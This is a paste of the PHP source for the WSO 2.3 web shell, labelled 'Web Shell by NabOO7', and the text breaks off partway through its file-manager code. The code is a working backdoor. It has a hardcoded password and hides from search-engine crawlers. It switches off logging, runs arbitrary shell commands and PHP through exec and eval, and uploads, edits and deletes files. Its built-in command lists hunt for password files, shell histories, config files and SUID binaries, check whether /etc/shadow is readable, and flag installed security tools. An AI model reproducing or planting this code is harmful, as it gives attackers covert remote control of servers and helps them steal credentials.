· 10 years ago · May 09, 2016, 03:27 PM
1<?php #Web Shell by NabOO7
2$auth_pass = "8531200";
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_charset = 'Windows-1251';
6
7if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
8 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
9 foreach($userAgents as $agent)
10 if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15@session_start();
16@error_reporting(0);
17@ini_set('error_log',NULL);
18@ini_set('log_errors',0);
19@ini_set('max_execution_time',0);
20@set_time_limit(0);
21@set_magic_quotes_runtime(0);
22@define('VERSION', '2.3');
23if( get_magic_quotes_gpc() ) {
24 function WSOstripslashes($array) {
25 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
26 }
27 $_POST = WSOstripslashes($_POST);
28}
29function wsoLogin() {
30 die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
31}
32if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
33 if( empty( $auth_pass ) ||
34 ( isset( $_POST['pass'] ) && ( $_POST['pass'] == $auth_pass ) ) )
35 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
36 else
37 wsoLogin();
38
39if( strtolower( substr(PHP_OS,0,3) ) == "win" )
40 $os = 'win';
41else
42 $os = 'nix';
43$safe_mode = @ini_get('safe_mode');
44$disable_functions = @ini_get('disable_functions');
45$home_cwd = @getcwd();
46if( isset( $_POST['c'] ) )
47 @chdir($_POST['c']);
48$cwd = @getcwd();
49if( $os == 'win') {
50 $home_cwd = str_replace("\\", "/", $home_cwd);
51 $cwd = str_replace("\\", "/", $cwd);
52}
53if( $cwd[strlen($cwd)-1] != '/' )
54 $cwd .= '/';
55
56if($os == 'win')
57 $aliases = array(
58 "List Directory" => "dir",
59 "Find index.php in current dir" => "dir /s /w /b index.php",
60 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
61 "Show active connections" => "netstat -an",
62 "Show running services" => "net start",
63 "User accounts" => "net user",
64 "Show computers" => "net view",
65 "ARP Table" => "arp -a",
66 "IP Configuration" => "ipconfig /all"
67 );
68else
69 $aliases = array(
70 "List dir" => "ls -lha",
71 "list file attributes on a Linux second extended file system" => "lsattr -va",
72 "show opened ports" => "netstat -an | grep -i listen",
73 "Find" => "",
74 "find all suid files" => "find / -type f -perm -04000 -ls",
75 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
76 "find all sgid files" => "find / -type f -perm -02000 -ls",
77 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
78 "find config.inc.php files" => "find / -type f -name config.inc.php",
79 "find config* files" => "find / -type f -name \"config*\"",
80 "find config* files in current dir" => "find . -type f -name \"config*\"",
81 "find all writable folders and files" => "find / -perm -2 -ls",
82 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
83 "find all service.pwd files" => "find / -type f -name service.pwd",
84 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
85 "find all .htpasswd files" => "find / -type f -name .htpasswd",
86 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
87 "find all .bash_history files" => "find / -type f -name .bash_history",
88 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
89 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
90 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
91 "Locate" => "",
92 "locate httpd.conf files" => "locate httpd.conf",
93 "locate vhosts.conf files" => "locate vhosts.conf",
94 "locate proftpd.conf files" => "locate proftpd.conf",
95 "locate psybnc.conf files" => "locate psybnc.conf",
96 "locate my.conf files" => "locate my.conf",
97 "locate admin.php files" =>"locate admin.php",
98 "locate cfg.php files" => "locate cfg.php",
99 "locate conf.php files" => "locate conf.php",
100 "locate config.dat files" => "locate config.dat",
101 "locate config.php files" => "locate config.php",
102 "locate config.inc files" => "locate config.inc",
103 "locate config.inc.php" => "locate config.inc.php",
104 "locate config.default.php files" => "locate config.default.php",
105 "locate config* files " => "locate config",
106 "locate .conf files"=>"locate '.conf'",
107 "locate .pwd files" => "locate '.pwd'",
108 "locate .sql files" => "locate '.sql'",
109 "locate .htpasswd files" => "locate '.htpasswd'",
110 "locate .bash_history files" => "locate '.bash_history'",
111 "locate .mysql_history files" => "locate '.mysql_history'",
112 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
113 "locate backup files" => "locate backup",
114 "locate dump files" => "locate dump",
115 "locate priv files" => "locate priv"
116 );
117
118function wsoHeader() {
119 if(empty($_POST['charset']))
120 $_POST['charset'] = $GLOBALS['default_charset'];
121 global $color;
122 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO " . VERSION ."</title>
123<style>
124body{background-color:#444;color:#e1e1e1;}
125body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
126table.info{ color:#fff;background-color:#222; }
127span,h1,a{ color: $color !important; }
128span{ font-weight: bolder; }
129h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
130div.content{ padding: 5px;margin-left:5px;background-color:#333; }
131a{ text-decoration:none; }
132a:hover{ text-decoration:underline; }
133.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
134.bigarea{ width:100%;height:250px; }
135input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
136form{ margin:0px; }
137#toolsTbl{ text-align:center; }
138.toolsInp{ width: 300px }
139.main th{text-align:left;background-color:#5e5e5e;}
140.main tr:hover{background-color:#5e5e5e}
141.l1{background-color:#444}
142pre{font-family:Courier,Monospace;}
143</style>
144<script>
145 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
146 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
147 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
148 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
149 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
150 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
151 function set(a,c,p1,p2,p3,charset) {
152 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
153 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
154 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
155 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
156 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
157 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
158 }
159 function g(a,c,p1,p2,p3,charset) {
160 set(a,c,p1,p2,p3,charset);
161 document.mf.submit();
162 }
163 function a(a,c,p1,p2,p3,charset) {
164 set(a,c,p1,p2,p3,charset);
165 var params = 'ajax=true';
166 for(i=0;i<document.mf.elements.length;i++)
167 params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
168 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
169 }
170 function sr(url, params) {
171 if (window.XMLHttpRequest)
172 req = new XMLHttpRequest();
173 else if (window.ActiveXObject)
174 req = new ActiveXObject('Microsoft.XMLHTTP');
175 if (req) {
176 req.onreadystatechange = processReqChange;
177 req.open('POST', url, true);
178 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
179 req.send(params);
180 }
181 }
182 function processReqChange() {
183 if( (req.readyState == 4) )
184 if(req.status == 200) {
185 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
186 var arr=reg.exec(req.responseText);
187 eval(arr[2].substr(0, arr[1]));
188 } else alert('Request error!');
189 }
190</script>
191<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
192<form method=post name=mf style='display:none;'>
193<input type=hidden name=a>
194<input type=hidden name=c>
195<input type=hidden name=p1>
196<input type=hidden name=p2>
197<input type=hidden name=p3>
198<input type=hidden name=charset>
199</form>";
200 $freeSpace = @diskfreespace($GLOBALS['cwd']);
201 $totalSpace = @disk_total_space($GLOBALS['cwd']);
202 $totalSpace = $totalSpace?$totalSpace:1;
203 $release = @php_uname('r');
204 $kernel = @php_uname('s');
205 $millink = 'http://milw0rm.com/search.php?dong=';
206 if( strpos('Linux', $kernel) !== false )
207 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
208 else
209 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
210 if(!function_exists('posix_getegid')) {
211 $user = @get_current_user();
212 $uid = @getmyuid();
213 $gid = @getmygid();
214 $group = "?";
215 } else {
216 $uid = @posix_getpwuid(@posix_geteuid());
217 $gid = @posix_getgrgid(@posix_getegid());
218 $user = $uid['name'];
219 $uid = $uid['uid'];
220 $group = $gid['name'];
221 $gid = $gid['gid'];
222 }
223 $cwd_links = '';
224 $path = explode("/", $GLOBALS['cwd']);
225 $n=count($path);
226 for($i=0;$i<$n-1;$i++) {
227 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
228 for($j=0;$j<=$i;$j++)
229 $cwd_links .= $path[$j].'/';
230 $cwd_links .= "\")'>".$path[$i]."/</a>";
231 }
232 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
233 $opt_charsets = '';
234 foreach($charsets as $item)
235 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
236 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
237 if(!empty($GLOBALS['auth_pass']))
238 $m['Logout'] = 'Logout';
239 $m['Self remove'] = 'SelfRemove';
240 $menu = '';
241 foreach($m as $k => $v)
242 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
243 $drives = "";
244 if ($GLOBALS['os'] == 'win') {
245 foreach( range('c','z') as $drive )
246 if (is_dir($drive.':\\'))
247 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
248 }
249 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
250 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
251 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
252 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
253}
254
255function wsoFooter() {
256 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
257 echo "
258</div>
259<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
260 <tr>
261 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
262 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
263 </tr><tr>
264 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
265 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
266 </tr><tr>
267 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
268 <td><form method='post' ENCTYPE='multipart/form-data'>
269 <input type=hidden name=a value='FilesMAn'>
270 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
271 <input type=hidden name=p1 value='uploadFile'>
272 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
273 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
274 </tr></table></div></body></html>";
275}
276
277if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
278if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
279function wsoEx($in) {
280 $out = '';
281 if(function_exists('exec')) {
282 @exec($in,$out);
283 $out = @join("\n",$out);
284 }elseif(function_exists('passthru')) {
285 ob_start();
286 @passthru($in);
287 $out = ob_get_clean();
288 }elseif(function_exists('system')) {
289 ob_start();
290 @system($in);
291 $out = ob_get_clean();
292 }elseif(function_exists('shell_exec')) {
293 $out = shell_exec($in);
294 }elseif(is_resource($f = @popen($in,"r"))) {
295 $out = "";
296 while(!@feof($f))
297 $out .= fread($f,1024);
298 pclose($f);
299 }
300 return $out;
301}
302function wsoViewSize($s) {
303 if($s >= 1073741824)
304 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
305 elseif($s >= 1048576)
306 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
307 elseif($s >= 1024)
308 return sprintf('%1.2f', $s / 1024 ) . ' KB';
309 else
310 return $s . ' B';
311}
312
313function wsoPerms($p) {
314 if (($p & 0xC000) == 0xC000)$i = 's';
315 elseif (($p & 0xA000) == 0xA000)$i = 'l';
316 elseif (($p & 0x8000) == 0x8000)$i = '-';
317 elseif (($p & 0x6000) == 0x6000)$i = 'b';
318 elseif (($p & 0x4000) == 0x4000)$i = 'd';
319 elseif (($p & 0x2000) == 0x2000)$i = 'c';
320 elseif (($p & 0x1000) == 0x1000)$i = 'p';
321 else $i = 'u';
322 $i .= (($p & 0x0100) ? 'r' : '-');
323 $i .= (($p & 0x0080) ? 'w' : '-');
324 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
325 $i .= (($p & 0x0020) ? 'r' : '-');
326 $i .= (($p & 0x0010) ? 'w' : '-');
327 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
328 $i .= (($p & 0x0004) ? 'r' : '-');
329 $i .= (($p & 0x0002) ? 'w' : '-');
330 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
331 return $i;
332}
333function wsoPermsColor($f) {
334 if (!@is_readable($f))
335 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
336 elseif (!@is_writable($f))
337 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
338 else
339 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
340}
341if(!function_exists("scandir")) {
342 function scandir($dir) {
343 $dh = opendir($dir);
344 while (false !== ($filename = readdir($dh))) {
345 $files[] = $filename;
346 }
347 return $files;
348 }
349}
350function wsoWhich($p) {
351 $path = wsoEx('which '.$p);
352 if(!empty($path))
353 return $path;
354 return false;
355}
356function actionSecInfo() {
357 wsoHeader();
358 echo '<h1>Server security information</h1><div class=content>';
359 function wsoSecParam($n, $v) {
360 $v = trim($v);
361 if($v) {
362 echo '<span>'.$n.': </span>';
363 if(strpos($v, "\n") === false)
364 echo $v.'<br>';
365 else
366 echo '<pre class=ml1>'.$v.'</pre>';
367 }
368 }
369
370 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
371 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
372 wsoSecParam('Open base dir', @ini_get('open_basedir'));
373 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
374 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
375 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
376 $temp=array();
377 if(function_exists('mysql_get_client_info'))
378 $temp[] = "MySql (".mysql_get_client_info().")";
379 if(function_exists('mssql_connect'))
380 $temp[] = "MSSQL";
381 if(function_exists('pg_connect'))
382 $temp[] = "PostgreSQL";
383 if(function_exists('oci_connect'))
384 $temp[] = "Oracle";
385 wsoSecParam('Supported databases', implode(', ', $temp));
386 echo '<br>';
387
388 if( $GLOBALS['os'] == 'nix' ) {
389 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
390 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
391 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
392 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
393 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
394 wsoSecParam('OS version', @file_get_contents('/proc/version'));
395 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
396 if(!$GLOBALS['safe_mode']) {
397 echo '<br>';
398 $temp=array();
399 foreach ($userful as $item)
400 if(wsoWhich($item)){$temp[]=$item;}
401 wsoSecParam('Userful', implode(', ',$temp));
402 $temp=array();
403 foreach ($danger as $item)
404 if(wsoWhich($item)){$temp[]=$item;}
405 wsoSecParam('Danger', implode(', ',$temp));
406 $temp=array();
407 foreach ($downloaders as $item)
408 if(wsoWhich($item)){$temp[]=$item;}
409 wsoSecParam('Downloaders', implode(', ',$temp));
410 echo '<br/>';
411 wsoSecParam('HDD space', wsoEx('df -h'));
412 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
413 }
414 } else {
415 wsoSecParam('OS Version',wsoEx('ver'));
416 wsoSecParam('Account Settings',wsoEx('net accounts'));
417 wsoSecParam('User Accounts',wsoEx('net user'));
418 }
419 echo '</div>';
420 wsoFooter();
421}
422
423function actionPhp() {
424 if( isset($_POST['ajax']) ) {
425 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
426 ob_start();
427 eval($_POST['p1']);
428 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
429 echo strlen($temp), "\n", $temp;
430 exit;
431 }
432 wsoHeader();
433 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
434 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
435 ob_start();
436 phpinfo();
437 $tmp = ob_get_clean();
438 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
439 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
440 echo str_replace('h1','h2',$tmp).'</div><br>';
441 }
442 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
443 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
444 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
445 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
446 if(!empty($_POST['p1'])) {
447 ob_start();
448 eval($_POST['p1']);
449 echo htmlspecialchars(ob_get_clean());
450 }
451 echo '</pre></div>';
452 wsoFooter();
453}
454
455function actionFilesMan() {
456 wsoHeader();
457 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
458 if(!empty($_POST['p1'])) {
459 switch($_POST['p1']) {
460 case 'uploadFile':
461 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
462 echo "Can't upload file!";
463 break;
464 case 'mkdir':
465 if(!@mkdir($_POST['p2']))
466 echo "Can't create new dir";
467 break;
468 case 'delete':
469 function deleteDir($path) {
470 $path = (substr($path,-1)=='/') ? $path:$path.'/';
471 $dh = opendir($path);
472 while ( ($item = readdir($dh) ) !== false) {
473 $item = $path.$item;
474 if ( (basename($item) == "..") || (basename($item) == ".") )
475 continue;
476 $type = filetype($item);
477 if ($type == "dir")
478 deleteDir($item);
479 else
480 @unlink($item);
481 }
482 closedir($dh);
483 rmdir($path);
484 }
485 if(is_array(@$_POST['f']))
486 foreach($_POST['f'] as $f) {
487 $f = urldecode($f);
488 if(is_dir($f))
489 deleteDir($f);
490 else
491 @unlink($f);
492 }
493 break;
494 case 'paste':
495 if($_SESSION['act'] == 'copy') {
496 function copy_paste($c,$s,$d){
497 if(is_dir($c.$s)){
498 mkdir($d.$s);
499 $h = @opendir($c.$s);
500 while (($f = @readdir($h)) !== false)
501 if (($f != ".") and ($f != "..")) {
502 copy_paste($c.$s.'/',$f, $d.$s.'/');
503 }
504 } elseif(is_file($c.$s)) {
505 @copy($c.$s, $d.$s);
506 }
507 }
508 foreach($_SESSION['f'] as $f)
509 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
510 } elseif($_SESSION['act'] == 'move') {
511 function move_paste($c,$s,$d){
512 if(is_dir($c.$s)){
513 mkdir($d.$s);
514 $h = @opendir($c.$s);
515 while (($f = @readdir($h)) !== false)
516 if (($f != ".") and ($f != "..")) {
517 copy_paste($c.$s.'/',$f, $d.$s.'/');
518 }
519 } elseif(@is_file($c.$s)) {
520 @copy($c.$s, $d.$s);
521 }
522 }
523 foreach($_SESSION['f'] as $f)
524 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
525 } elseif($_SESSION['act'] == 'zip') {
526 if(class_exists('ZipArchive')) {
527 $zip = new ZipArchive();
528 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
529 chdir($_SESSION['c']);
530 foreach($_SESSION['f'] as $f) {
531 if(@is_file($_SESSION['c'].$f))
532 $zip->addFile($_SESSION['c'].$f, $f);
533 elseif(@is_dir($_SESSION['c'].$f)) {
534 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
535 foreach ($iterator as $key=>$value) {
536 $zip->addFile(realpath($key), $key);
537 }
538 }
539 }
540 chdir($GLOBALS['cwd']);
541 $zip->close();
542 }
543 }
544 } elseif($_SESSION['act'] == 'unzip') {
545 if(class_exists('ZipArchive')) {
546 $zip = new ZipArchive();
547 foreach($_SESSION['f'] as $f) {
548 if($zip->open($_SESSION['c'].$f)) {
549 $zip->extractTo($GLOBALS['cwd']);
550 $zip->close();
551 }
552 }
553 }
554 }
555 unset($_SESSION['f']);
556 break;
557 default:
558 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
559 $_SESSION['act'] = @$_POST['p1'];
560 $_SESSION['f'] = @$_POST['f'];
561 foreach($_SESSION['f'] as $k => $f)
562 $_SESSION['f'][$k] = urldecode($f);
563 $_SESSION['c'] = @$_POST['c'];
564 }
565 break;
566 }
567 }
568 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
569 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
570 global $sort;
571 $sort = array('name', 1);
572 if(!empty($_POST['p1'])) {
573 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
574 $sort = array($match[1], (int)$match[2]);
575 }
576echo "<script>
577 function sa() {
578 for(i=0;i<document.files.elements.length;i++)
579 if(document.files.elements[i].type == 'checkbox')
580 document.files.elements[i].checked = document.files.elements[0].checked;
581 }
582</script>
583<table width='100%' class='main' cellspacing='0' cellpadding='2'>
584<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
585 $dirs = $files = array();
586 $n = count($dirContent);
587 for($i=0;$i<$n;$i++) {
588 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
589 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
590 $tmp = array('name' => $dirContent[$i],
591 'path' => $GLOBALS['cwd'].$dirContent[$i],
592 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
593 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
594 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
595 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
596 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
597 );
598 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
599 $files[] = array_merge($tmp, array('type' => 'file'));
600 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
601 $dirs[] = array_merge($tmp, array('type' => 'link'));
602 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
603 $dirs[] = array_merge($tmp, array('type' => 'dir'));
604 }
605 $GLOBALS['sort'] = $sort;
606 function wsoCmp($a, $b) {
607 if($GLOBALS['sort'][0] != 'size')
608 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
609 else
610 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
611 }
612 usort($files, "wsoCmp");
613 usort($dirs, "wsoCmp");
614 $files = array_merge($dirs, $files);
615 $l = 0;
616 foreach($files as $f) {
617 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
618 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
619 $l = $l?0:1;
620 }
621 echo "<tr><td colspan=7>
622 <input type=hidden name=a value='FilesMan'>
623 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
624 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
625 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
